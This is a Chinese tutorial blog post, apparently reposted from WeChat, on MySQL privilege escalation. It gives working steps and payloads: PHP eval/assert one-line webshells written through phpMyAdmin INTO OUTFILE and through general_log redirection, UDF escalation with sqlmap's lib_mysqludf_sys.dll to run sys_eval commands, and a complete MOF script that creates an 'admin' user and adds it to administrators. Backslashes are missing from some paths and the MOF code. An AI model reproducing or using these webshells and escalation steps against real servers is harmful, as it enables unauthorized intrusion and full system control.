密码提权_数据库提权

本文介绍了多种Mysql提权方法。包括phpMyadmin提权,分可写入和不可写入一句话两种情况;Mysql Udf提权,需上传udf.dll到指定目录;Mof提权,在满足特定条件下,通过上传改写的mof文件提升用户权限,还给出了利用代码示例。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

fe87ed3b485b965e4f6d50a05e03f459.png

phpMyadmin 提权

phpMyadmin (可以写入一句话)

进入 phpMyadmin 页面,点击 Sql 按钮,输入

SHOW VARIABLES LIKE 'SECURE_FILE_PRIV'

查看写入路径,如果不为 null ,不为 tmp ,代表可以写入一句话木马

789ba181b95c24753a1389337f4bf365.png

向爆出的目录写入一句话木马, 点击 Sql 按钮,输入

SELECT'<?php @eval($_POST[hacker]);?>'INTO OUTFILE 'D:phpstudy_proWWWhacker.php'

5d495b479efa238b4346457fef09bace.png

成功写入一句话木马,用蚁剑连接

dea3cb2bf849c42d20f1a6d6af3f63cf.png

phpMyadmin (不可以写入一句话)

secure-file-priv 这个全局变量是指定文件夹作为导出文件存放的地方,默认情况下,secure-file-priv 是一个空值(null)。

进入 phpMyadmin 页面,点击 Sql 按钮,输入

SHOW VARIABLES LIKE 'SECURE_FILE_PRIV'

显示为 null

fa39cba996007f282b50511bb4a0338f.png

此时写入数据失败

06eec5a4d85e4c5ba79dc05bf61d12ed.png

Mysql的两个全局变量:general log 指的是日志保存状态,一共有两个值(on/off)on 代表开启 off 代表关闭。general log file 指的是日志的保存路径。目前这个 general_log 为 off 状态,那么日志就没有被记录进去,所以先打开这个全局变量。

set global general_log='on'

984e5892e5061c3ad4a3f34ed5038366.png

执行一条sql语句便会被记录到日志文件中去。所以可以向日志写入一句话来试试。那么既然日志是保存在这个文件中,要写入一句话,应该要把日志存放的文件位置换成想要生成的一句话木马文件存放的位置。那么就需要修改 general_log_file 变量的位置了。

set global general_log_file='D:/phpstudy_pro/WWW/backdoor.php'

81336cb348b1274b3d985e5fa15e724c.png

写入一句话木马进日志

select '<?php assert($_POST["hacker"]);?>';

1bb32fc46cf3156cdd48f9b2f1d7c244.png

backdoor.php 中成功存放了一句话木马

dd9ffabc3e1466a997b702c6e55c30b7.png

利用一句话木马,查看 phpinfo 信息

c8872f491c0c4e9fdd4c9a9ad17fac5f.png

Mysql Udf 提权

Udf 是 Mysql 的一个扩展接口,Udf (Userdefined function) 可翻译为用户自定义函数,这个是用来拓展 Mysql 的技术手段。在提权过程中,经常使用 Mysql 的 udf.dll 进行提权,因为提权之前,要上传 udf.dll 到指定的目录下。使用 select @@plugin_dir; 查看具体目录。

3392a6e1387edec16c73cf72b7830c18.png

或 使用 show variables like 'plugin%'; 查看具体目录

c78d4561940a8af7ba10cad39592a3f9.png

查看使用多少位的系统,mysql> select @@version_compile_os;

c8f9122178dc467b7c10b58c207a69aa.png

sqlmap 下自带了对应提权使用的 udf 库。可以直接下载使用,但是 sqlmap 进行加密,需要解密。使用 /usr/share/sqlmap/extra/cloak 的 cloak.py 进行解密。执行命令,进行解密

root@kali:/usr/share/sqlmap/extra/cloak# ./cloak.py -d -i /usr/share/sqlmap/data/udf/mysql/windows/32/lib_mysqludf_sys.dll_

发现多了一个比较大的 lib_mysqludf_sys.dll。

983bf7a96d54fbe74b442e8363a33c73.png

将解密后的 lib_mysqludf_sys.dll_ 重命名为 udf.dll。执行命令

mv lib_mysqludf_sys.dll /root/udf.dll。

将 udf.dll 放到 d:wampbinmysqlmysql5.7.14libplugin 下

执行提权命令

mysql> create function sys_eval returns string soname 'udf.dll';
mysql> select * from mysql.func where name='sys_eval';

fe504f8c6f6e7de8558adbc7f99c9cb9.png

执行系统命令,查看当前目录

mysql> select sys_eval('dir');

7d0cf39427d796f8ceab8aceb847611e.png

查看当前用户

mysql> select sys_eval('whoami');

8d15be7fd2c3c37b456e684f00fb9795.png

停止自定义函数

mysql> drop function sys_eval;

发现再次执行 whoami 失败

d69381f5c78321e5baeedf409520e543.png

Mof 提权
mof是Windows系统的一个文件,位于c:windowssystem32wbemmofnullevt.mof,叫做托管对象格式, 它的作用是每隔5秒,就会去监控进程的创建和死亡。mof提权的简单利用过程就是,拥有了 Mysql 的 root 权限后,使用root权限去执行上传操作,将我们重新改写过的 mof 文件上传,之后,这个文件会被服务器每隔 5 秒以 system 权限执行。这个改写的 mof 中,有一段是 vbs 脚本,这个 vbs 大多数是 cmd 的添加管理员用户的命令。

可以提权的根本原因是因为有一个更高权限的线程执行了命令。这里 nullevt.mof 文件的加载过程由 system 用户执行,因此可以最高把用户的权限提升到system。

利用条件:

1. Windows版本<=2003;

2. c:windowssystem32wbemmof 目录可写入;

3. 数据库允许外连,且已知root账号密码

利用代码如下

# pragma namespace(".rootsubscription")

instance of **EventFilter as $EventFilter{    EventNamespace = "RootCimv2";    Name  = "filtP2";    Query = "Select * From **InstanceModificationEvent "
            "Where TargetInstance Isa "Win32_LocalTime" "
            "And TargetInstance.Second = 5";
    QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as $Consumer
{
    Name = "consPCSV2";
    ScriptingEngine = "JScript";
    ScriptText =
    "var WSH = new ActiveXObject("WScript.Shell")nWSH.run("net.exe user admin admin /add")";
};

instance of __FilterToConsumerBinding
{
    Consumer   = $Consumer;
    Filter = $EventFilter;
};

其中的关键就在于第14行的“net.exe user admin admin /add”,这句是用来创建一个用户名为admin,密码为admin的用户,创建成功后,再将这句命令改为 “net.exe localgroup administrators admin /add”后,再次上传,达到创建admin用户并将其加入administrators组的目的。

文章详情

数据库提权​mp.weixin.qq.com

更多文章在:公zhong号【大人物小城梦】

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值